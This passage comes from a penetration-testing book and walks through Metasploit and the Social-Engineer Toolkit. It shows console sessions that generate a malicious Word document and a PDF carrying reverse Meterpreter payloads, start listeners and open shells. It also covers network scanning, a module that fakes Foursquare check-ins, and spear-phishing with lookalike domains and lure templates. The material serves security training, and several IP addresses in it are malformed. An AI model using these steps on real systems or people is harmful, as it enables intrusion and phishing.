File format bugs are exploitable vulnerabilities found within a given application, such as an Adobe PDF document. This class of exploit relies on a user actually opening a malicious file in a vulnerable application. Malicious files can be hosted remotely or sent via email. We briefly mentioned leveraging file format bugs as a spear-phishing attack in the beginning of this chapter, and we’ll offer more about spear-phishing in Chapter 10.

In traditional file format exploits, you could leverage anything to which you think your target will be susceptible. This could be a Microsoft Word document, a PDF, an image, or anything else that might be applicable. In this example, we’ll be leveraging MS11-006, known as the Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow.

Within Metasploit, perform a search for ms11_006. Our first step is to get into our exploit through msfconsole, and type info to see what options are available. In the next example, you can see that the file format is exported as a document:

msf > use windows/fileformat/ms11_006_createsizeddibsection
msf exploit(ms11_006_createsizeddibsection) > info

. . . SNIP . . .

Available targets:
Id Name
-- ----
0 Automatic
1 Windows 2000 SP0/SP4 English
2 Windows XP SP3 English
3 Crash Target for Debugging

Next, you can see that we have a few targets available to use, but we’ll make it automatic and leave everything at the default settings:

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.doc yes The file name.
OUTPUTPATH optmetasploit3/msf3/data/exploits yes The location of the file.

We’ll need to set a payload as usual. In this case, we will select our first choice, a reverse Meterpreter shell:

msf exploit(ms11_006_createsizeddibsection) >
set payloadwindows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms11_006_createsizeddibsection) > set LHOST 172.16.32.128
LHOST => 172.16.32.128
smsf exploit(ms11_006_createsizeddibsection) > set LPORT 443
LPORT => 443
msf exploit(ms11_006_createsizeddibsection) > exploit

[*] Creating 'msf.doc' file...
[*] Generated output file optmetasploit3/msf3/data/exploits/msf.doc
msf exploit(ms11_006_createsizeddibsection) >

Sending the Payload

Our file was exported as msf.doc and sent to the opt directory within Metasploit. Now that we have our malicious document, we can craft up an email to our target and hope the user opens it. At this point, we should already have an idea of the target’s patch levels and vulnerabilities. Before we actually open the document, we need to set up a multi-handler listener. This will ensure that when the exploit is triggered, the attacker machine can receive the connection back from the target machine (reverse payload).

msf exploit(ms11_006_createsizeddibsection) > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.32.128
LHOST => 172.16.32.128
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 172.16.32.128:443
[*] Starting the payload handler...
msf exploit(handler) >

We open the document on a Windows XP virtual machine, and we should be presented with a shell (provided our VM is Windows XP SP3):

msf exploit(handler) >
[*] Sending stage (749056 bytes) to 172.16.32.131
[*] Meterpreter session 1 opened (172.16.32.128:443 -> 172.16.32.131:2718) at
Sun Apr 03 21:39:58 −0400 2011
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >

We have successfully exploited a file format vulnerability by creating a malicious document through Metasploit and then sending it to our targeted user. Looking back at this exploit, if we had performed proper reconnaissance on our target user, we could have crafted a pretty convincing email. This exploit is one example of a number of file format exploits available in Metasploit.

Wrapping Up

We covered how client-side exploits generally work by manipulating the heap to work in the attacker’s favor. We covered how NOP instructions work within an attack and how to use the basics of a debugger. You’ll learn more about leveraging a debugger in Chapter 14 and Chapter 15. MS11-006 was a stack-based overflow, which we will cover in depth in later chapters. Note that your success rate with these types of attacks resides in how much information you gain about the target before you attempt to perform the attacks.

As a penetration tester, every bit of information can be used to craft an even better attack. In the case of spear-phishing, if you can talk the language of the company and target your attacks against smaller business units within the company that probably aren’t technical in nature, your chances of success greatly increase. Browser exploits and file format exploits are typically very effective, granted you do your homework. We’ll cover this topic in more detail in Chapter 8 and Chapter 10.

Chapter 9. Metasploit Auxiliary Modules

When most people think of Metasploit, exploits come to mind. Exploits are cool, exploits get you shell, and exploits get all the attention. But sometimes you need something more than that. By definition, a Metasploit module that is not an exploit is an auxiliary module, which leaves a lot to the imagination.

In addition to providing valuable reconnaissance tools such as port scanners and service fingerprinters, auxiliary modules such as ssh_login can take a known list of usernames and passwords and then attempt to log in via brute force across an entire target network. Also included in the auxiliary modules are various protocol fuzzers such as ftp_pre_post, http_get_uri_long, smtp_fuzzer, ssh_version_corrupt, and more. You can launch these fuzzers at a target service in hopes of finding your own vulnerabilities to exploit.

Just because auxiliary modules don’t have a payload, don’t think you won’t use them. But before we dive into their myriad uses, here’s an overview to help you see what we are dealing with.

root@bt:/opt/framework3/msf3modulesauxiliary# ls -l
total 52
drwxr-xr-x 23 root root 4096 Apr 10 03:22 admin
drwxr-xr-x 4 root root 4096 Dec 14 03:25 client
drwxr-xr-x 16 root root 4096 Jan 1 04:19 dos
drwxr-xr-x 8 root root 4096 Dec 14 03:25 fuzzers
drwxr-xr-x 3 root root 4096 May 2 15:38 gather
drwxr-xr-x 4 root root 4096 Dec 14 03:25 pdf
drwxr-xr-x 36 root root 4096 Apr 10 03:22 scanner
drwxr-xr-x 5 root root 4096 May 2 15:38 server
drwxr-xr-x 3 root root 4096 May 2 15:38 sniffer
drwxr-xr-x 5 root root 4096 Dec 14 03:25 spoof
drwxr-xr-x 4 root root 4096 Dec 14 03:25 sqli
drwxr-xr-x 3 root root 4096 May 2 15:38 test
drwxr-xr-x 3 root root 4096 May 2 15:38 voip

As you can see in the preceding listing, modules are installed within the modulesauxiliary directory of the Framework, and within that, sorted based on the functions they provide. Should you want to create your own module or edit an existing one to suit a specific purpose, you will find them in their corresponding directories. For instance, if you need to develop a fuzzer module to hunt your own bugs, you will find some pre-existing modules in the /fuzzers directory.

To list all the available auxiliary modules within Metasploit, simply issue the show auxiliary command within msfconsole. If you compare the preceding directory listing with the module names displayed in msfconsole, you will notice that the naming of the modules depends on the underlying directory structure, as shown below.

msf > show auxiliary

Auxiliary
=========

Name Rank Description
---- ---- -----------
admin/backupexec/dump normal
Veritas Backup Exec Windows Remote
File Access
admin/backupexec/registry normal Veritas
Backup Exec Server Registry
Access
admin/cisco/ios_http_auth_bypass normal Cisco IOS HTTP Unauthorized
Administrative Access
. . . SNIP . . .

fuzzers/ssh/ssh_version_corrupt normal SSH Version Corruption
fuzzers/tds/tds_login_corrupt normal TDS Protocol
Login Request Corruption
Fuzzer
fuzzers/tds/tds_login_username normal
TDS Protocol Login Request Username
Fuzzer
fuzzers/wifi/fuzz_beacon normal Wireless Beacon Frame Fuzzer
fuzzers/wifi/fuzz_proberesp normal
Wireless Probe Response Frame Fuzzer
gather/citrix_published_applications normal Citrix MetaFrame ICA Published
Applications Scanner
gather/citrix_published_bruteforce normal Citrix MetaFrame ICA Published
Applications Bruteforcer
gather/dns_enum normal DNS Enumeration Module
gather/search_email_collector normal
Search Engine Domain Email Address
Collector
pdf/foxit/authbypass normal Foxit
Reader Authorization Bypass
scanner/backdoor/energizer_duo_detect normal Energizer DUO Trojan Scanner
scanner/db2/db2_auth normal DB2
Authentication Brute Force Utility
scanner/db2/db2_version normal DB2 Probe Utility

As you can see in this trimmed output, the auxiliary modules are organized by category. At your disposal are the DNS enumeration module, Wi-Fi fuzzers, and even a module to locate and abuse the Trojan backdoor that was included on Energizer USB battery chargers.

Using an auxiliary module is similar to using any exploit within the Framework — simply issue the use command followed by the module name. For example, to use the webdav_scanner module (explored in Auxiliary Modules in Use in Auxiliary Modules in Use), you would run use scanner/http/webdav_scanner as shown below.

Note

In auxiliary modules, the basic options are slightly different with an RHOSTS option to target multiple machines and a THREADS value to fine-tune the speed of your scanning.

msf > use scanner/http/webdav_scanner
msf auxiliary(webdav_scanner) > info

Name: HTTP WebDAV Scanner
Version: 9179
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
et <et@metasploit.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain

RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

Description:
Detect webservers with WebDAV enabled

msf auxiliary(webdav_scanner) >

Here we issue the use command for the module of interest. We can then get a full dump of information from the system using the info command , as well as a list of the various available options. Within the options, we see that the only required option without a default is RHOSTS , which can take a single IP address, list, range, or CIDR notation.

The other options mostly vary depending on the auxiliary module being used. For instance, the THREADS option allows multiple threads to be launched as part of a scan, which speeds things up exponentially.

Auxiliary Modules in Use

Auxiliary modules are exciting because they can be used in so many ways for so many things. If you can’t find the perfect auxiliary module, it’s easy to modify one to suit your specific needs.

Consider a common example. Say you are conducting a remote penetration test, and upon scanning the network, you identify a number of web servers and not much else. Your attack surface is limited at this point, and you have to work with what is available to you. Your auxiliary scanner/http modules will now prove extremely helpful as you look for low-hanging fruit against which you can launch an exploit. To search for all available HTTP scanners, run search scanner/http as shown here.

msf auxiliary(webdav_scanner) > search scanner/http
[*] Searching loaded modules for pattern 'scanner/http'...

Auxiliary
=========

Name Rank Description
---- ---- -----------
scanner/http/backup_file normal HTTP Backup File Scanner
scanner/http/blind_sql_query normal
HTTP Blind SQL Injection GET QUERY Scanner
scanner/http/brute_dirs normal
HTTP Directory Brute Force Scanner
scanner/http/cert normal HTTP SSL Certificate Checker
scanner/http/copy_of_file normal HTTP Copy File Scanner
scanner/http/dir_listing normal
HTTP Directory Listing Scanner
scanner/http/dir_scanner normal HTTP Directory Scanner
scanner/http/dir_webdav_unicode_bypass normal
MS09-020 IIS6 WebDAV Unicode Auth Bypass
Directory Scanner
scanner/http/enum_delicious normal
Pull Del.icio.us Links (URLs) for a domain
scanner/http/enum_wayback normal
Pull Archive.org stored URLs for a domain
scanner/http/error_sql_injection normal
HTTP Error Based SQL Injection Scanner
scanner/http/file_same_name_dir normal
HTTP File Same Name Directory Scanner
scanner/http/files_dir normal HTTP Interesting File Scanner
scanner/http/frontpage_login normal
FrontPage Server Extensions Login Utility
scanner/http/http_login normal HTTP Login Utility
scanner/http/http_version normal HTTP Version Detection
scanner/http/lucky_punch normal
HTTP Microsoft SQL Injection Table XSS
Infection
scanner/http/ms09_020_webdav_unicode_bypass normal
MS09-020 IIS6 WebDAV Unicode Auth Bypass
scanner/http/options normal HTTP Options Detection
scanner/http/prev_dir_same_name_file normal HTTP
Previous Directory File Scanner
scanner/http/replace_ext normal HTTP File Extension Scanner
scanner/http/robots_txt
normal HTTP Robots.txt Content Scanner
scanner/http/soap_xml normal
HTTP SOAP Verb/Noun Brute Force Scanner
scanner/http/sqlmap normal SQLMAP SQL
Injection External Module
scanner/http/ssl normal HTTP
SSL Certificate Information
scanner/http/svn_scanner normal HTTP Subversion Scanner
scanner/http/tomcat_mgr_login normal Tomcat
Application Manager Login Utility
scanner/http/trace_axd normal HTTP
trace.axd Content Scanner
scanner/http/verb_auth_bypass normal HTTP Verb
Authentication Bypass Scanner
scanner/http/vhost_scanner normal HTTP Virtual
Host Brute Force Scanner
scanner/http/vmware_server_dir_trav normal VMware Server
Directory Transversal
Vulnerability
scanner/http/web_vulndb normal HTTP Vuln scanner

scanner/http/webdav_internal_ip
normal HTTP WebDAV Internal IP Scanner
scanner/http/webdav_scanner normal HTTP WebDAV Scanner
scanner/http/webdav_website_content normal HTTP
WebDAV Website Content Scanner
scanner/http/writable
normal HTTP Writable Path PUT/DELETE File Access
scanner/http/xpath normal HTTP Blind XPATH 1.0 Injector

There are a lot of options here, so let’s identify some likely candidates in that list. Notice that there are the options for identifying the robots.txt file from various servers, numerous ways to interact with WebDAV , tools to identify servers with writable file access , and many other special-purpose modules.

You can see immediately that there are modules that you can use for subsequent exploration. Older versions of Microsoft IIS had a vulnerability in their WebDAV implementations that allowed for remote exploitation, so you could first run a scan against your targets in hopes of finding a server with WebDAV enabled, as follows.

msf auxiliary(dir_webdav_unicode_bypass) > use scanner/http/webdav_scanner
msf auxiliary(webdav_scanner) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

msf auxiliary(webdav_scanner) >
set RHOSTS 192.168.1.242, 192.168.13.242.252,
192.168.13.242.254, 192.168.4.116, 192.168.4.118, 192.168.4.122,
192.168.13.242.251, 192.168.13.242.234, 192.168.8.67, 192.68.8.113,
192.168.13.242.231, 192.168.13.242.249, 192.168.4.115, 192.168.8.66, 192.168.8.68,
192.168.6.62
RHOSTS => 192.168.1.242, 192.168.13.242.252, 192.168.13.242.254, 192.168.4.116,
192.168.4.118, 192.168.4.122, 192.168.13.242.251, 192.168.13.242.234, 192.168.8.67,
192.168.6.113, 192.168.13.242.231, 192.168.13.242.249, 192.168.4.115, 192.168.8.66,
192.168.8.68, 192.168.6.62
msf auxiliary(webdav_scanner) > run

[*] 192.168.1.242 (Microsoft-IIS/6.0) WebDAV disabled.
[*] 192.168.13.242.252 (Apache/2.2.9 (Debian) proxy_html/3.0.0 mod_ssl/2.2.9
OpenSSL/0.9.8g) WebDAV disabled.
[*] Scanned 04 of 31 hosts (012% complete)
[*] Scanned 07 of 31 hosts (022% complete)
[*] 192.168.4.116 (Apache/2.2.3 (Red Hat)) WebDAV disabled.
[*] Scanned 10 of 31 hosts (032% complete)
[*] 192.168.4.122 (Apache/2.2.3 (Red Hat)) WebDAV disabled.
[*] Scanned 13 of 31 hosts (041% complete)
[*] 192.168.13.242.251 (Microsoft-IIS/6.0) WebDAV disabled.
[*] 192.168.13.242.234 (Microsoft-IIS/6.0) WebDAV disabled.
[*] Scanned 16 of 31 hosts (051% complete)
[*] 192.168.8.67 (Microsoft-IIS/6.0) WebDAV disabled.
[*] Scanned 19 of 31 hosts (061% complete)
[*] 192.168.6.113 (Microsoft-IIS/5.0) has WEBDAV ENABLED
[*] 192.168.13.242.231 (Microsoft-IIS/6.0) WebDAV disabled.
[*] Scanned 22 of 31 hosts (070% complete)
[*] 192.168.13.242.249 (Microsoft-IIS/6.0) WebDAV disabled.
[*] Scanned 25 of 31 hosts (080% complete)
[*] 192.168.4.115 (Microsoft-IIS/6.0) WebDAV disabled.
[*] 192.168.8.66 (Microsoft-IIS/6.0) WebDAV disabled.
[*] Scanned 28 of 31 hosts (090% complete)
[*] 192.168.8.68 (Microsoft-IIS/6.0) WebDAV disabled.
[*] Scanned 31 of 31 hosts (100% complete)
[*] Auxiliary module execution completed

As you can see in this example, a number of HTTP servers have been scanned in the search for WebDAV , and only one happens to have Web-DAV enabled . This module has quickly identified a specific system against which you can launch further attacks.

Note

Auxiliary module functionality goes far beyond scanning. As you will see in Chapter 14 auxiliary modules also work great as fuzzers with a little modification. A number of denial-of-service modules are also available for Wi-Fi (including dos/wifi/deauth), which can prove quite disruptive when used properly.

Anatomy of an Auxiliary Module

Let’s look at the makeup of an auxiliary module in a fun little example not currently in the Metasploit repository (because it does not pertain to penetration testing). This example will demonstrate how easy it is to off-load a great deal of programming to the Framework, allowing us to focus on the specifics of a module.

Chris Gates wrote an auxiliary module for the Framework that gave his Twitter followers the impression that he had somehow invented a device that allowed him to travel at the speed of light. It makes a great example of the code reuse available in Metasploit. (You can access the source of the script at http://carnal0wnage.googlecode.com/.)

root@bt:/opt/framework3/msf3# cd modules/auxiliary/admin/
root@bt:/opt/framework3/msf3modulesauxiliary/admin# wget
http://carnal0wnage.googlecode .com/svn/trunk/
msf3modulesauxiliary/admin/random/foursquare.rb

We’ve placed the module in our auxiliary directory so that it will be available for use by Metasploit. But before we use this module, let’s look at the actual script and break down the components so we can see exactly what the module contains.

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

The module begins with the first two lines importing the auxiliary class . Next it makes the HTTP client functions available for use within the script.

def initialize
super(
'Name' => 'Foursquare Location Poster',
'Version => '$Revision:$',
'Description' => 'F*ck with Foursquare, be
anywhere you want to be by venue id',
'Author' => ['CG'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://groups.google.com/group/foursquare-api' ],
[ 'URL', 'http://www.mikekey.com/im-a-foursquare-cheater/'],
]
)
#todo pass in geocoords instead of venueid, create a venueid, other tom foolery
register_options(
[
Opt::RHOST('api.foursquare.com'),
OptString.new('VENUEID', [ true, 'foursquare
venueid', '185675']), #Louvre Paris France
OptString.new('USERNAME', [ true, 'foursquare
username', 'username']),
OptString.new('PASSWORD', [ true, 'foursquare
password', 'password']),
], self.class)

end

Within the initialization constructor we define much of the information that is reported back when issuing the info command in msfconsole. We can see where the various options are defined and whether they are required. So far, all are pretty direct and their purposes are clear. Still, we have yet to see any actual logic being performed. That comes next.

def run

begin
user = datastore['USERNAME']
pass = datastore['PASSWORD']
venid = datastore['VENUEID']
user_pass = Rex::Text.encode_base64(user + ":" + pass)
decode = Rex::Text.decode_base64(user_pass)
postrequest = "twitter=1\n" #add facebook=1 if you want facebook

print_status("Base64 Encoded User/Pass: #{user_pass}") #debug
print_status("Base64 Decoded User/Pass: #{decode}") #debug

res = send_request_cgi({
'uri' => "v1checkin?vid=#{venid}",
'version' => "1.1",
'method' => 'POST',
'data' => postrequest,
'headers' =>
{
'Authorization' => "Basic #{user_pass}",
'Proxy-Connection' => "Keep-Alive",
}
}, 25)

Now we reach the actual logic of the script — what happens when run is called within the module. Initially the provided options are set to local variable names along with defining various other objects. An object is then created by calling the send_request_cgi method imported into the script from lib/msf/core/exploit/http.rb and defined as “Connects to the server, creates a request, sends the request, reads the response.” This method takes various parameters that make up the call to the actual server, as shown here.

print_status("#{res}") #this outputs the entire response. We could probably do
#without this but it's
nice to see what's going on.
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE =>e
puts e.message
end
end

After this object is created, the results are printed . If anything goes wrong, logic exists for catching any errors and reporting them to the user. All of this logic is simple and is just a matter of plugging various parameters into existing functions of the Framework. This is a great example of the power of the Framework, because it allows us to concentrate only on the information needed to address our goal. There is no reason to reproduce any of the standard functions such as error handling, connection management, and so on.

Let’s see this module in action. If you don’t remember the full path to the module within the Metasploit directory structure, search for it like so.

msf > search foursquare
[*] Searching loaded modules for pattern 'foursquare'...

Auxiliary
=========

Name Rank Description
---- ---- -----------
admin/foursquare normal Foursquare Location Poster

msf > use admin/foursquare
msf auxiliary(foursquare) > info

Name: Foursquare Location Poster
Version: $Revision:$
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
CG <cg@carnal0wnage.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password yes foursquare password
Proxies no Use a proxy chain
RHOST api.foursquare.com yes The target address
RPORT 80 yes The target port
USERNAME username yes foursquare username
VENUEID 185675 yes foursquare venueid
VHOST no HTTP server virtual host

Description:
F*ck with Foursquare, be anywhere you want to be by venue id

References:
http://groups.google.com/group/foursquare-api
http://www.mikekey.com/im-a-foursquare-cheater/

In the prior example, we search for “foursquare” , issue the use command to select the auxiliary module, and display the information for the selected module. Based on the options presented above, we need to configure a few of them first.

msf auxiliary(foursquare) > set VENUEID 2584421
VENUEID => 2584421
msf auxiliary(foursquare) > set USERNAME msf@elwood.net
USERNAME => metasploit
msf auxiliary(foursquare) > set PASSWORD ilovemetasploit
PASSWORD => ilovemetasploit
msf auxiliary(foursquare) > run
[*] Base64 Encoded User/Pass: bXNmQGVsd29vZC5uZXQ6aWxvdmVtZXRhc3Bsb2l0
[*] Base64 Decoded User/Pass: msf@elwood.net:ilovemetasploit
[*] HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Date: Sat, 08 May 2010 07:42:09 GMT
Content-Length: 1400
Server: nginx/0.7.64
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<checkin><id>40299544</id><created>Sat,
08 May 10 07:42:09 +0000</created><message>OK!
We've got you @ Washington DC Union Station. This
is your 1st checkin here!</message>
<venue><id>2584421</id><name>Washington DC Union Station</name><primary
category><id>79283</
id><fullpathname>Travel:Train Station</
fullpathname><nodename>Train Station</nodename>
<iconurl>http://foursquare.com/img/categories/travel/
trainstation.png</iconurl></primary
category><address>Union Station</address><city>Washington</city><state>DC</
state><geolat>
38.89777986957695</geolat><geolong>-77.0060920715332
</geolong></venue><mayor><type>nochange
</type><checkins>4</checkins><user><id>685446</id><firstname>
Ron</firstname><photo>http://
playfoursquare.s3.amazonaws.com/userpix_thumbs/ELOW44Q
HXJFB4PWZ.jpg</photo><gender>male</
gender></user><message>Ron is The Mayor
of Washington DC Union Station.</message></mayor>
<badges><badge><id>1</id><name>Newbie</name><icon>http://
foursquare.com/img/badge/newbie
.png</icon><description>Congrats on your
first checkin!</description></badge></badges>
<scoring><score><points>1</
points><icon>http://foursquare.com/img/scoring/2.png</icon>
<message>First stop tonight</message></score>
<score><points>5</points><icon>http://
foursquare.com/img/scoring/1.png</icon>
<message>First time @ Washington DC Union Station!</
message></score></scoring></checkin>

In order to run this module successfully, we need a valid set of Foursquare credentials to do the checkin. We first define the VenueID that we find online with a bit of Googling , and then we set our Foursquare credentials and run the module. We get a successful result with the Foursquare service confirming our checkin and giving us five points .

In this case, we have submitted a request to “check in” at Union Station in Washington, DC, on the Foursquare service (see Figure 9-1).

Figure 9-1. A successful checkin at Union Station

When we check the Foursquare website, we see a successful result. Modules like these demonstrate that Metasploit allows us to implement nearly anything we can programmatically imagine.

Going Forward

As you have seen, auxiliary modules can have a wide range of uses. The infrastructure provided by the Metasploit Framework can produce a wide array of tools in a very short time. Using Metasploit’s auxiliary modules, you can scan an IP address range to determine which hosts are alive and which services are running on each host. You can then leverage this information to determine vulnerable services, such as in the WebDAV example, or even log in via brute force on a remote server.

Although you can easily create custom auxiliary modules, don’t discount the existing auxiliary modules in the Framework. These modules may be the exact one-off tool you need.

The auxiliary modules provide a wide range of potential additional avenues. For a web application, the auxiliary modules offer more than 40 additional checks or attacks that you can perform. In some instances, you may want to brute force a web server to see which servers are listing directories. Or you may want to scan the web server to see if it can act as an open proxy and relay traffic out to the Internet. Regardless of your needs, the auxiliary modules can provide additional enumeration information, attack vectors, or vulnerabilities.

Chapter 10. The Social-Engineer Toolkit

The Social-Engineer Toolkit (SET) was developed to coincide with the release of Social-Engineer.org, a set of resources conceived by Chris Hadnagy (loganWHD) and written by one of this book’s authors, David Kennedy. The site offers a centralized location for social-engineering tutorials and explains terminologies, definitions, and scenarios that can help prepare you for hacking the human mind.

The purpose of SET is to fill a gap in the penetration testing community and bring awareness to social-engineering attacks. And it has succeeded — SET has been downloaded 1 million times and is now an industry standard for deploying social-engineering attacks. The toolkit attacks human weaknesses, exploiting curiosity, credibility, avarice, and simple human stupidity. Social-engineering attacks are at an all-time high and have always been a large risk for many organizations.

Of course, social engineering is nothing new. One person trying to coax another to perform acts that he normally wouldn’t do is as old as time itself. Many in the security community believe that social engineering is one of the biggest risks organizations face, because it’s extremely difficult to protect organizations from being attacked in this way. (You might remember the ultrasophisticated Operation Aurora attack, for example, in which social-engineering was used to attack Gmail and other sources of Google data.)

An attack vector is the avenue used to gain information or access to a system. SET categorizes attacks by attack vector (such as web, email, and USB-based attacks). It uses email, spoofed websites, and other vectors to reach human targets, typically tricking individuals into compromising the target or releasing sensitive information. Naturally, each vector can have a different success rate depending on its target and the communication used. SET also comes prebuilt with email and website templates that can be used for social-engineering attacks. SET heavily uses the Metasploit Framework.

Because of the social nature of the attacks themselves, each example in this chapter is coupled with a brief story.

Configuring the Social-Engineer Toolkit

By default, in Back|Track, SET is located in the pentestexploits/set/ directory. Before you begin, make sure that you are running the latest version of SET.

root@bt:pentestexploits/set# svn update

Next, configure your SET configuration file according to what you’re attempting to accomplish. We’ll cover a couple of simple features within the configuration file config/set_config within the root SET directory.

When using the SET web-based attack vectors, you can turn ON the WEBATTACK_EMAIL flag to perform email phishing in conjunction with the web attack. This flag is turned OFF by default, which means that you will configure SET and use the web attack vector without the support of email phishing.

METASPLOIT_PATH=/opt/framework3/msf3

WEBATTACK_EMAIL=ON

One of the web-based attacks available in SET is the Java applet attack, which uses self-signed Java applets. By default, this attack uses Microsoft as the publisher name; however, if the Java Development Kit (JDK) has been installed, you can turn this option ON and sign the applet with whatever name you want. When you turn this flag ON, additional options will be available through the interface.

SELF_SIGNED_APPLET=ON

The AUTO_DETECT setting is one of the most important flags and is turned ON by default. It tells SET to detect your local IP address automatically and to use that as the address for the reverse connection and web servers. If you are using multiple interfaces or your reverse payload listener is housed at a different location, turn this flag OFF. When this option is OFF, SET will allow you to specify multiple scenarios to ensure that the proper IP address scheme is used, for example, in a scenario that includes NAT and port forwarding. These options are reflected within the SET interface.

AUTO_DETECT=OFF

When you use the toolkit, by default it uses a built-in Python web-based server. To optimize performance, set the APACHE_SERVER flag to ON, and SET will use Apache for the attacks.

APACHE_SERVER=ON

Those are the basics of the configuration file. As you can see, you can significantly change SET’s behavior depending on which flags are set in the tool. Now let’s run the tool.

Spear-Phishing Attack Vector

The spear-phishing attack vector specially crafts fileformat exploits (such as Adobe PDF exploits) and primarily sends email attacks containing attachments to a target, which, when opened, compromise the target’s machine. SET can use Simple Mail Transport Protocol (SMTP) open relays (both anonymous and credentialed), Gmail, and Sendmail to send email. SET can also use standard email or HTML-based email to perform the phishing attack.

Let’s consider a real-world penetration test targeting the company CompanyXYZ. You register a domain name similar to Company XYZ, say coompanyxyz.com. You then register the subdomain coom.panyXYZ.com. Next, you send a spear-phishing attack to the target organization, knowing that most employees only glance at email and will open any attachment that appears to be legitimate. In this case, we will send a PDF file format bug to our target, like so.

root@bt:pentestexploits/set# ./set

Select from the menu:

1. Spear-Phishing Attack Vectors
2. Website Attack Vectors
3. Infectious Media Generator
4. Create a Payload and Listener
5. Mass Mailer Attack
6. Teensy USB HID Attack Vector
7. SMS Spoofing Attack Vector
8. Wireless Access Point Attack Vector
9. Third Party Modules
10. Update the Metasploit Framework
11. Update the Social-Engineer Toolkit
12. Help, Credits, and About
13. Exit the Social-Engineer Toolkit

Enter your choice: 1

Welcome to the SET E-Mail attack method. This module allows you
to specially craft email messages and send them to a large (or small)
number of people with attached fileformat malicious payloads. If you
want to spoof your email address, be sure "Sendmail" is installed (it
is installed in BT4) and change the config/set_config SENDMAIL=OFF flag
to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1. Perform a Mass Email Attack
2. Create a FileFormat Payload
3. Create a Social-Engineering Template
4. Return to Main Menu

Enter your choice: 1

Select the file format exploit you want.
The default is the PDF embedded EXE.

********** PAYLOADS **********

1. SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2. SET Custom Written Document UNC LM SMB Capture Attack
3. Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
4. Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
5. Adobe Flash Player 'Button' Remote Code Execution
6. Adobe CoolType SING Table 'uniqueName' Overflow
7. Adobe Flash Player 'newfunction' Invalid Pointer Use
8. Adobe Collab.collectEmailInfo Buffer Overflow
9. Adobe Collab.getIcon Buffer Overflow
10. Adobe JBIG2Decode Memory Corruption Exploit
11. Adobe PDF Embedded EXE Social Engineering
12. Adobe util.printf() Buffer Overflow
13. Custom EXE to VBA (sent via RAR) (RAR required)
14. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
15. Adobe PDF Embedded EXE Social Engineering (NOJS)
16. Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
17. Nuance PDF Reader v6.0 Launch Stack Buffer Overflow

Enter the number you want (press enter for default): 8

1. Windows Reverse TCP Shel Spawn a command shell
on victim and send back to
attacker.
2. Windows Meterpreter Reverse_TCP Spawn a
meterpreter shell on victim and send back
to attacker.
3. Windows Reverse VNC DLL Spawn a VNC server
on victim and send back to
attacker.
4. Windows Reverse TCP Shell (x64) Windows X64 Command Shell,
Reverse TCP Inline
5. Windows Meterpreter Reverse_TCP (X64) Connect back to the attacker (Windows x64),
Meterpreter
6. Windows Shell Bind_TCP (X64) Execute payload and
create an accepting port on
remote system.
7. Windows Meterpreter Reverse HTTPS Tunnel communication
over HTTP using SSL and use
Meterpreter.

Enter the payload you want (press enter for default):
[*] Windows Meterpreter Reverse TCP selected.
Enter the port to connect back on (press enter for default):
[*] Defaulting to port 443...
[*] Generating fileformat exploit...
[*] Please wait while we load the module tree...
[*] Started reverse handler on 10.10.1.112:443
[*] Creating 'template.pdf' file...
[*] Generated output file pentestexploits/set/src/program_junk/template.pdf
[*] Payload creation complete.
[*] All payloads get sent to the src/msf_attacks/template.pdf directory
[*] Payload generation complete. Press enter to continue.

As an added bonus, use the fileformat creator in SET to create your attachment.
Right now the attachment will be imported with filename of 'template.whatever'
Do you want to rename the file?
example Enter the new filename: moo.pdf

1. Keep the filename, I don't care.
2. Rename the file, I want to be cool.

Enter your choice (enter for default): 1
Keeping the filename and moving on.

From the SET main menu, select Spear-Phishing Attack Vectors followed by Perform a Mass Email Attack . This attack infects a PDF file using the Adobe Collab.collectEmailInfo vulnerability , a Metasploit Meterpreter reverse payload that is the SET default. Collab.collectEmailInfo is a heap-based exploit that, if opened (and if the target’s version of Adobe Acrobat is vulnerable to this exploit), will connect to the attacking workstation on port 443, which usually allows outbound traffic from most networks.

You are also given the option of renaming the malicious file to make it more enticing for the target to open. The default name (template.pdf) is selected in this scenario for demonstration purposes.

Social Engineer Toolkit Mass EMailer

There are two options on the mass emailer, the first would
be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
3. Return to main menu.

Enter your choice: 1

Do you want to use a predefined template or craft
a one time email template.

1. PreDefined Template
2. One-Time Use Email Template

Enter your choice: 1
Below is a list of available templates:

1: New Update
2: Computer Issue
3: Strange internet usage from your computer
4: LOL...have to check this out...
5: Status Report
6: Pay Raise Application Form
